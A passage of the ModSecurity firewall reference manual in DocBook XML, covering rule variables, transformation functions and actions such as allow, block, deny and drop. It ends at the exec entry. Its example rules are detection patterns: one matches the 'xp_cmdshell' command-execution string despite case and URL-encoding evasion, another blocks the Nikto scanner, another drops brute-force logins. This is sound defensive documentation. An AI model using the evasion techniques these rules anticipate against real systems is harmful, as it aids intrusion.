<programlisting format="linespecific">SecRule <emphasis>TIME_MIN</emphasis> "^(3|4|5)"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">TIME_MON</literal></title>
|
|
|
|
<para>This variable holds the current month (0-11). Example: this rule
|
|
would match if the month was either November (10) or December
|
|
(11).</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> TIME_MON</emphasis> "^1"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">TIME_SEC</literal></title>
|
|
|
|
<para>This variable holds the current second count (0-59).
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>TIME_SEC</emphasis> "@gt 30"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">TIME_WDAY</literal></title>
|
|
|
|
<para>This variable holds the current weekday (0-6). Example: this rule
|
|
would trigger only on week-ends (Saturday and Sunday).</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>TIME_WDAY</emphasis> "^(0|6)$"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">TIME_YEAR</literal></title>
|
|
|
|
<para>This variable holds the current four-digit year data.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>TIME_YEAR</emphasis> "^2006$"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">TX</literal></title>
|
|
|
|
<para>Transaction Collection. This is used to store pieces of data,
|
|
create a transaction anomaly score, and so on. Transaction variables are
|
|
set for 1 request/response cycle. The scoring and evaluation will not
|
|
last past the current request/response process. Example: In this
|
|
example, we are using setvar to increase the tx.score value by 5 points.
|
|
We then have a follow-up run that will evaluate the transactional score
|
|
this request and then it will decided whether or not to allow/deny the
|
|
request through.</para>
|
|
|
|
<para>The following is a list of reserved names in the TX
|
|
collection:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><literal moreinfo="none">TX:0</literal> - The matching value
|
|
when using the <literal moreinfo="none">@rx</literal> or <literal
|
|
moreinfo="none">@pm</literal> operator with the <literal
|
|
moreinfo="none">capture</literal> action.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">TX:1-TX:9</literal> - The captured
|
|
subexpression value when using the <literal
|
|
moreinfo="none">@rx</literal> operator with capturing parens and the
|
|
<literal moreinfo="none">capture</literal> action.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
|
|
<programlisting format="linespecific">SecRule WEBSERVER_ERROR_LOG "does not exist" "phase:5,pass,<emphasis>setvar:tx.score=+5</emphasis>"
|
|
SecRule<emphasis> TX:SCORE</emphasis> "@gt 20" deny,log</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">USERID</literal></title>
|
|
|
|
<para>This variable is the value set with <literal
|
|
moreinfo="none">setuid</literal>. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecAction setuid:%{REMOTE_USER},nolog
|
|
SecRule<emphasis> USERID</emphasis> "Admin"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">WEBAPPID</literal></title>
|
|
|
|
<para>This variable is the value set with <literal
|
|
moreinfo="none">SecWebAppId</literal>. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecWebAppId "WebApp1"
|
|
SecRule<emphasis> WEBAPPID</emphasis> "WebApp1" "chain,log,deny,status:403"
|
|
SecRule REQUEST_HEADERS:Transfer-Encoding "!^$"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">WEBSERVER_ERROR_LOG</literal></title>
|
|
|
|
<para>Contains zero or more error messages produced by the web server.
|
|
Access to this variable is in phase:5 (logging). Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> WEBSERVER_ERROR_LOG</emphasis> "File does not exist" "phase:5,setvar:tx.score=+5"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">XML</literal></title>
|
|
|
|
<para>Can be used standalone (as a target for validateDTD and
|
|
validateSchema) or with an XPath expression parameter (which makes it a
|
|
valid target for any function that accepts plain text). Example using
|
|
XPath:</para>
|
|
|
|
<programlisting format="linespecific">SecDefaultAction log,deny,status:403,phase:2
|
|
SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \
|
|
phase:1,t:lowercase,nolog,pass,ctl:requestBodyProcessor=<emphasis>XML</emphasis>
|
|
SecRule REQBODY_PROCESSOR "<emphasis>!^XML$</emphasis>" skipAfter:12345
|
|
SecRule <emphasis>XML:/employees/employee/name/text()</emphasis> Fred
|
|
SecRule <emphasis>XML:/xq:employees/employee/name/text()</emphasis> Fred \
|
|
id:12345,xmlns:xq=http://www.example.com/employees</programlisting>
|
|
|
|
<para>The first XPath expression does not use namespaces. It would match
|
|
against payload such as this one:</para>
|
|
|
|
<programlisting><employees>
|
|
<employee>
|
|
<name>Fred Jones</name>
|
|
<address location="home">
|
|
<street>900 Aurora Ave.</street>
|
|
<city>Seattle</city>
|
|
<state>WA</state>
|
|
<zip>98115</zip>
|
|
</address>
|
|
<address location="work">
|
|
<street>2011 152nd Avenue NE</street>
|
|
<city>Redmond</city>
|
|
<state>WA</state>
|
|
<zip>98052</zip>
|
|
</address>
|
|
<phone location="work">(425)555-5665</phone>
|
|
<phone location="home">(206)555-5555</phone>
|
|
<phone location="mobile">(206)555-4321</phone>
|
|
</employee>
|
|
</employees></programlisting>
|
|
|
|
<para>The second XPath expression does use namespaces. It would match
|
|
the following payload:</para>
|
|
|
|
<programlisting><xq:employees xmlns:xq="http://www.example.com/employees">
|
|
<employee>
|
|
<name>Fred Jones</name>
|
|
<address location="home">
|
|
<street>900 Aurora Ave.</street>
|
|
<city>Seattle</city>
|
|
<state>WA</state>
|
|
<zip>98115</zip>
|
|
</address>
|
|
<address location="work">
|
|
<street>2011 152nd Avenue NE</street>
|
|
<city>Redmond</city>
|
|
<state>WA</state>
|
|
<zip>98052</zip>
|
|
</address>
|
|
<phone location="work">(425)555-5665</phone>
|
|
<phone location="home">(206)555-5555</phone>
|
|
<phone location="mobile">(206)555-4321</phone>
|
|
</employee>
|
|
</xq:employees></programlisting>
|
|
|
|
<para>Note the different namespace used in the second example.</para>
|
|
|
|
<para>To learn more about XPath we suggest the following
|
|
resources:</para>
|
|
|
|
<orderedlist>
|
|
<listitem>
|
|
<para><ulink url="http://www.w3.org/TR/xpath">XPath
|
|
Standard</ulink></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><ulink
|
|
url="http://www.zvon.org/xxl/XPathTutorial/General/examples.html">XPath
|
|
Tutorial</ulink></para>
|
|
</listitem>
|
|
</orderedlist>
|
|
</section>
|
|
</section>
|
|
|
|
<section id="06-transformation-functions">
|
|
<title>Transformation functions</title>
|
|
|
|
<para>When ModSecurity receives request or response information, it makes
|
|
a copy of this data and places it into memory. It is on this data in
|
|
memory that transformation functions are applied. The raw request/response
|
|
data is never altered. Transformation functions are used to transform a
|
|
variable before testing it in a rule.</para>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>There are no default transformation functions as there were in
|
|
previous versions of ModSecurity.</para>
|
|
|
|
<para>The following rule will ensure that an attacker does not use mixed
|
|
case in order to evade the ModSecurity rule:</para>
|
|
|
|
<para><programlisting format="linespecific">SecRule ARG:p "xp_cmdshell" <emphasis>"t:lowercase"</emphasis></programlisting>
|
|
multiple transformation actions can be used in the same rule, for example
|
|
the following rule also ensures that an attacker does not use URL encoding
|
|
(%xx encoding) for evasion. Note the order of the transformation
|
|
functions, which ensures that a URL encoded letter is first decoded and
|
|
than translated to lower case.</para>
|
|
|
|
<para><programlisting format="linespecific">SecRule ARG:p "xp_cmdshell" <emphasis>"t:urlDecode,t:lowercase"</emphasis></programlisting></para>
|
|
|
|
<para>One can use the SecDefaultAction command to ensure the translation
|
|
occurs for every rule until the next. Note that transformation actions are
|
|
additive, so if a rule explicitly list actions, the translation actions
|
|
set by SecDefaultAction are still performed.</para>
|
|
|
|
<para><programlisting format="linespecific">SecDefaultAction <emphasis>t:urlDecode,t:lowercase</emphasis></programlisting></para>
|
|
|
|
<para>The following transformation functions are supported:</para>
|
|
|
|
<section>
|
|
<title><literal>base64Decode</literal></title>
|
|
|
|
<para>This function decodes a base64-encoded string.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>base64Encode</literal></title>
|
|
|
|
<para>This function encodes input string using base64 encoding.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>compressWhitespace</literal></title>
|
|
|
|
<para>This function is enabled by default. It converts whitespace
|
|
characters (32, \f, \t, \n, \r, \v, 160) to spaces (ASCII 32) and then
|
|
compresses multiple space characters into only one.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>escapeSeqDecode</literal></title>
|
|
|
|
<para>This function decode ANSI C escape sequences:<literal
|
|
moreinfo="none"> \a</literal>,<literal moreinfo="none"> \b</literal>,
|
|
<literal moreinfo="none">\f</literal>, <literal
|
|
moreinfo="none">\n</literal>, <literal moreinfo="none">\r</literal>,
|
|
<literal moreinfo="none">\t</literal>, <literal
|
|
moreinfo="none">\v</literal>, <literal moreinfo="none">\\</literal>,
|
|
<literal moreinfo="none">\?</literal>, <literal
|
|
moreinfo="none">\'</literal>, <literal moreinfo="none">\"</literal>,
|
|
<literal moreinfo="none">\xHH</literal> (hexadecimal), <literal
|
|
moreinfo="none">\0OOO</literal> (octal). Invalid encodings are left in
|
|
the output.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>hexDecode</literal></title>
|
|
|
|
<para>This function decodes a hex-encoded string.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>hexEncode</literal></title>
|
|
|
|
<para>This function encodes input as hex-encoded string.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>htmlEntityDecode</literal></title>
|
|
|
|
<para>This function decodes HTML entities present in input. The
|
|
following variants are supported:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><literal moreinfo="none">&#xHH</literal> and <literal
|
|
moreinfo="none">&#xHH;</literal> (where H is any hexadecimal
|
|
number)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">&#DDD</literal> and <literal
|
|
moreinfo="none">&#DDD;</literal> (where D is any decimal
|
|
number)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">&quot</literal> and <literal
|
|
moreinfo="none">&quot;</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">&nbsp</literal> and <literal
|
|
moreinfo="none">&nbsp;</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">&lt</literal> and <literal
|
|
moreinfo="none">&lt;</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">&gt</literal> and <literal
|
|
moreinfo="none">&gt;</literal></para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>jsDecode</literal></title>
|
|
|
|
<para>Decodes JavaScript escape sequences. If a \uHHHH code is in the
|
|
range of FF01-FF5E (the full width ASCII codes), then the higher byte is
|
|
used to detect and adjust the lower byte. Otherwise, only the lower byte
|
|
will be used and the higher byte zeroed.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>length</literal></title>
|
|
|
|
<para>This function converts the input to its numeric length (count of
|
|
characters).</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>lowercase</literal></title>
|
|
|
|
<para>This function is enabled by default. It converts all characters to
|
|
lowercase using the current C locale.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>md5</literal></title>
|
|
|
|
<para>This function calculates an MD5 hash from input. Note that the
|
|
computed hash is in a raw binary form and may need encoded to be usable
|
|
(EX: t:md5,t:hexEncode).</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal><literal>none</literal></literal></title>
|
|
|
|
<para>This not an actual transformation function but an instruction to
|
|
ModSecurity to remove all transformation functions associated with the
|
|
current rule and start from scratch.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>normalisePath</literal></title>
|
|
|
|
<para>This function will remove multiple slashes, self-references and
|
|
directory back-references (except when they are at the beginning of the
|
|
path).</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>normalisePathWin</literal></title>
|
|
|
|
<para>Same as normalisePath, but will first convert backslash characters
|
|
to forward slashes.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>removeNulls</literal></title>
|
|
|
|
<para>This function removes NULL bytes from input.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>removeWhitespace</literal></title>
|
|
|
|
<para>This function removes all whitespace characters.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>replaceComments</literal></title>
|
|
|
|
<para>This function replaces each occurrence of a C-style comments
|
|
(<literal moreinfo="none">/* ... */</literal>) with a single space
|
|
(multiple consecutive occurrences of a space will not be compressed).
|
|
Unterminated comments will too be replaced with a space (ASCII 32).
|
|
However, a standalone termination of a comment (<literal
|
|
moreinfo="none">*/</literal>) will not be acted upon.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>replaceNulls</literal></title>
|
|
|
|
<para>This function is enabled by default. It replaces NULL bytes in
|
|
input with spaces (ASCII 32).</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>urlDecode</literal></title>
|
|
|
|
<para>This function decodes an URL-encoded input string. Invalid
|
|
encodings (i.e. the ones that use non-hexadecimal characters, or the
|
|
ones that are at the end of string and have one or two characters
|
|
missing) will not be converted. If you want to detect invalid encodings
|
|
use the <literal moreinfo="none">@validateUrlEncoding</literal>
|
|
operator. The transformation function should not be used against
|
|
variables that have already been URL-decoded unless it is your intention
|
|
to perform URL decoding twice!</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>urlDecodeUni</literal></title>
|
|
|
|
<para>In addition to decoding %xx like <literal
|
|
moreinfo="none">urlDecode, urlDecodeUni</literal> also decodes <literal
|
|
moreinfo="none">%uXXXX</literal> encoding. If the code is in the range
|
|
of FF01-FF5E (the full width ASCII codes), then the higher byte is used
|
|
to detect and adjust the lower byte. Otherwise, only the lower byte will
|
|
be used and the higher byte zeroed.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>urlEncode</literal></title>
|
|
|
|
<para>This function encodes input using URL encoding.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>sha1</literal></title>
|
|
|
|
<para>This function calculates a SHA1 hash from input. Note that the
|
|
computed hash is in a raw binary form and may need encoded to be usable
|
|
(EX: t:sha1,t:hexEncode).</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>trimLeft</literal></title>
|
|
|
|
<para>This function removes whitespace from the left side of
|
|
input.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>trimRight</literal></title>
|
|
|
|
<para>This function removes whitespace from the right side of
|
|
input.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>trim</literal></title>
|
|
|
|
<para>This function removes whitespace from both the left and right
|
|
sides of input.</para>
|
|
</section>
|
|
</section>
|
|
|
|
<section id="07-actions">
|
|
<title>Actions</title>
|
|
|
|
<para>Each action belongs to one of five groups:</para>
|
|
|
|
<orderedlist continuation="restarts" inheritnum="ignore">
|
|
<listitem>
|
|
<para><emphasis>Disruptive actions</emphasis> - are those actions
|
|
where ModSecurity will intercept the data. They can only appear in the
|
|
first rule in a chain.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>Non-disruptive actions</emphasis> - can appear
|
|
anywhere.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>Flow actions</emphasis> - can appear only in the first
|
|
rule in a chain.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>Meta-data actions</emphasis>(<literal
|
|
moreinfo="none">id</literal>,<literal moreinfo="none">
|
|
rev</literal>,<literal moreinfo="none"> severity</literal>,<literal
|
|
moreinfo="none"> msg</literal>) - can only appear in the first rule in
|
|
a chain.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>Data actions</emphasis> - can appear anywhere; these
|
|
actions are completely passive and only serve to carry data used by
|
|
other actions.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
|
|
<section>
|
|
<title><literal>allow</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Stops rule processing on a
|
|
successful match and allows the transaction to proceed.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REMOTE_ADDR "^192\.168\.1\.100$" nolog,phase:1,<emphasis>allow</emphasis></programlisting>
|
|
|
|
<para>Prior to ModSecurity 2.5 the <literal>allow</literal> action would
|
|
only affect the current phase. An <literal>allow</literal> in phase 1
|
|
would skip processing the remaining rules in phase 1 but the rules from
|
|
phase 2 would execute. Starting with v2.5 <literal>allow</literal> was
|
|
enhanced to allow for fine-grained control of what is done. The
|
|
following rules now apply:</para>
|
|
|
|
<orderedlist>
|
|
<listitem>
|
|
<para>If used one its own, like in the example above,
|
|
<literal>allow</literal> will affect the entire transaction,
|
|
stopping processing of the current phase but also skipping over all
|
|
other phases apart from the logging phase. (The logging phase is
|
|
special; it is designed to always execute.)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>If used with parameter "phase", <literal>allow</literal> will
|
|
cause the engine to stop processing the current phase. Other phases
|
|
will continue as normal.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>If used with parameter "request", <literal>allow</literal>
|
|
will cause the engine to stop processing the current phase. The next
|
|
phase to be processed will be phase
|
|
<literal>RESPONSE_HEADERS</literal>.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
|
|
<para>Examples:</para>
|
|
|
|
<programlisting># Do not process request but process response.
|
|
SecAction phase:1,allow:request
|
|
|
|
# Do not process transaction (request and response).
|
|
SecAction phase:1,allow
|
|
</programlisting>
|
|
|
|
<para>If you want to allow a response through, put a rule in phase
|
|
<literal>RESPONSE_HEADERS</literal> and simply use
|
|
<literal>allow</literal> on its own:</para>
|
|
|
|
<programlisting># Allow response through.
|
|
SecAction phase:3,allow</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title>append</title>
|
|
|
|
<para><emphasis>Description:</emphasis> Appends text given as parameter
|
|
to the end of response body. For this action to work content injection
|
|
must be enabled by setting <literal>SecContentInjection</literal> to
|
|
<literal>On</literal>. Also make sure you check the content type of the
|
|
response before you make changes to it (e.g. you don't want to inject
|
|
stuff into images).</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para><emphasis>Processing Phases:</emphasis> 3 and 4.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting>SecRule RESPONSE_CONTENT_TYPE "^text/html" "nolog,pass,<emphasis>append:'<hr>Footer'</emphasis>"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>auditlog</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Marks the transaction for
|
|
logging in the audit log.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REMOTE_ADDR "^192\.168\.1\.100$" <emphasis>auditlog</emphasis>,phase:1,allow</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>The auditlog action is now explicit if log is already
|
|
specified.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>block</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Performs the default disruptive
|
|
action.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Disruptive</para>
|
|
|
|
<para>It is intended to be used by ruleset writers to signify that the
|
|
rule was intended to block and leaves the "how" up to the administrator.
|
|
This action is currently a placeholder which will just be replaced by
|
|
the action from the last <literal>SecDefaultAction</literal> in the same
|
|
context. Using the <literal>block</literal> action with the
|
|
<literal>SecRuleUpdateActionById</literal> directive allows a rule to be
|
|
reverted back to the previous <literal>SecDefaultAction</literal>
|
|
disruptive action.</para>
|
|
|
|
<para>In future versions of ModSecurity, more control and functionality
|
|
will be added to define "how" to block.</para>
|
|
|
|
<para>Examples:</para>
|
|
|
|
<para>In the following example, the second rule will "deny" because of
|
|
the SecDefaultAction disruptive action. The intent being that the
|
|
administrator could easily change this to another disruptive action
|
|
without editing the actual rules.</para>
|
|
|
|
<programlisting format="linespecific">### Administrator defines "how" to block (deny,status:403)...
|
|
SecDefaultAction phase:2,deny,status:403,log,auditlog
|
|
|
|
### Included from a rulest...
|
|
# Intent is to warn for this User Agent
|
|
SecRule REQUEST_HEADERS:User-Agent "perl" "phase:2,<emphasis>pass</emphasis>,msg:'Perl based user agent identified'"
|
|
# Intent is to block for this User Agent, "how" described in SecDefaultAction
|
|
SecRule REQUEST_HEADERS:User-Agent "nikto" "phase:2,<emphasis>block</emphasis>,msg:'Nikto Scanners Identified'"</programlisting>
|
|
|
|
<para>In the following example, The rule is reverted back to the
|
|
<literal>pass</literal> action defined in the SecDefaultAction directive
|
|
by using the <literal>SecRuleUpdateActionById</literal> directive in
|
|
conjuction with the <literal>block</literal> action. This allows an
|
|
administrator to override an action in a 3rd party rule without
|
|
modifying the rule itself.</para>
|
|
|
|
<programlisting format="linespecific">### Administrator defines "how" to block (deny,status:403)...
|
|
SecDefaultAction phase:2,pass,log,auditlog
|
|
|
|
### Included from a rulest...
|
|
SecRule REQUEST_HEADERS:User-Agent "nikto" "id:1,phase:2,<emphasis>deny</emphasis>,msg:'Nikto Scanners Identified'"
|
|
|
|
### Added by the administrator
|
|
SecRuleUpdateActionById 1 "<emphasis>block</emphasis>"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>capture</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> When used together with the
|
|
regular expression operator, capture action will create copies of
|
|
regular expression captures and place them into the transaction variable
|
|
collection. Up to ten captures will be copied on a successful pattern
|
|
match, each with a name consisting of a digit from 0 to 9.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_BODY "^username=(\w{25,})" phase:2,<emphasis>capture</emphasis>,t:none,chain
|
|
SecRule TX:1 "(?:(?:a(dmin|nonymous)))"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>The 0 data captures the entire REGEX match and 1 captures the data
|
|
in the first parens, etc...</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>chain</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Chains the rule where the action
|
|
is placed with the rule that immediately follows it. The result is
|
|
called a<emphasis> rule chain</emphasis>. Chained rules allow for more
|
|
complex rule matches where you want to use a number of different
|
|
VARIABLES to create a better rule and to help prevent false
|
|
positives.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Flow</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific"># Refuse to accept POST requests that do
|
|
# not specify request body length
|
|
SecRule REQUEST_METHOD ^POST$<emphasis> chain</emphasis>
|
|
SecRule REQUEST_HEADER:Content-Length ^$</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>In programming language concepts, think of chained rules somewhat
|
|
similar to AND conditional statements. The actions specified in the
|
|
first portion of the chained rule will only be triggered if all of the
|
|
variable checks return positive hits. If one aspect of the chained rule
|
|
is negative, then the entire rule chain is negative. Also note that
|
|
disruptive actions, execution phases, metadata actions (id, rev, msg),
|
|
skip and skipAfter actions can only be specified on by the chain starter
|
|
rule.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>ctl</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> The ctl action allows
|
|
configuration options to be updated for the transaction.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific"># Parse requests with Content-Type "text/xml" as XML
|
|
SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,<emphasis>ctl:requestBodyProcessor=XML</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>The following configuration options are supported:</para>
|
|
|
|
<orderedlist continuation="restarts" inheritnum="ignore">
|
|
<listitem>
|
|
<para><literal moreinfo="none">auditEngine</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">auditLogParts</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">debugLogLevel</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">ruleRemoveById</literal> (single rule
|
|
ID, or a single rule ID range accepted as parameter)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">requestBodyAccess</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">requestBodyLimit</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">requestBodyProcessor</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">responseBodyAccess</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">responseBodyLimit</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">ruleEngine</literal></para>
|
|
</listitem>
|
|
</orderedlist>
|
|
|
|
<para>With the exception of<literal moreinfo="none">
|
|
requestBodyProcessor</literal>, each configuration option corresponds to
|
|
one configuration directive and the usage is identical.</para>
|
|
|
|
<para>The requestBodyProcessor option allows you to configure the
|
|
request body processor. By default ModSecurity will use the <literal
|
|
moreinfo="none">URLENCODED</literal> and<literal moreinfo="none">
|
|
MULTIPART</literal> processors to process an <literal
|
|
moreinfo="none">application/x-www-form-urlencoded</literal> and a
|
|
<literal moreinfo="none">multipart/form-data</literal> body,
|
|
respectively. A third processor, XML, is also supported, but it is never
|
|
used implicitly. Instead you must tell ModSecurity to use it by placing
|
|
a few rules in the<literal moreinfo="none"> REQUEST_HEADERS</literal>
|
|
processing phase. After the request body was processed as XML you will
|
|
be able to use the XML-related features to inspect it.</para>
|
|
|
|
<para>Request body processors will not interrupt a transaction if an
|
|
error occurs during parsing. Instead they will set variables<literal
|
|
moreinfo="none"> REQBODY_PROCESSOR_ERROR</literal> and<literal
|
|
moreinfo="none"> REQBODY_PROCESSOR_ERROR_MSG</literal>. These variables
|
|
should be inspected in the <literal
|
|
moreinfo="none">REQUEST_BODY</literal> phase and an appropriate action
|
|
taken.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>deny</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Stops rule processing and
|
|
intercepts transaction.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "nikto" "log,<emphasis>deny</emphasis>,msg:'Nikto Scanners Identified'"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>deprecatevar</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Decrement counter based on its
|
|
age.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example: The following example will decrement the counter by 60
|
|
every 300 seconds.</para>
|
|
|
|
<programlisting format="linespecific">SecAction deprecatevar:session.score=60/300</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Counter values are always positive, meaning the value will never
|
|
go below zero.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>drop</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Immediately initiate a
|
|
"connection close" action to tear down the TCP connection by sending a
|
|
FIN packet.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Disruptive</para>
|
|
|
|
<para>Example: The following example initiates an IP collection for
|
|
tracking Basic Authentication attempts. If the client goes over the
|
|
threshold of more than 25 attempts in 2 minutes, it will DROP subsequent
|
|
connections.</para>
|
|
|
|
<programlisting format="linespecific">SecAction initcol:ip=%{REMOTE_ADDR},nolog
|
|
SecRule ARGS:login "!^$" \
|
|
nolog,phase:1,setvar:ip.auth_attempt=+1,deprecatevar:ip.auth_attempt=20/120
|
|
SecRule IP:AUTH_ATTEMPT "@gt 25" \
|
|
log,<emphasis>drop</emphasis>,phase:1,msg:'Possible Brute Force Attack"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This action is extremely useful when responding to both Brute
|
|
Force and Denial of Service attacks in that, in both cases, you want to
|
|
minimize both the network bandwidth and the data returned to the client.
|
|
This action causes error message to appear in the log "(9)Bad file
|
|
descriptor: core_output_filter: writing data to the network"</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>exec</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Executes an external
|
|
script/binary supplied as parameter. As of v2.5, if the parameter
|
|
supplied to <literal>exec</literal> is a Lua script (detected by the
|
|
<filename>.lua</filename> extension) the script will be processed
|
|
<emphasis>internally</emphasis>. This means you will get direct access
|
|
to the internal request context from the script. Please read the
|
|
<literal>SecRuleScript</literal> documentation for more details on how
|
|
to write Lua scripts.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
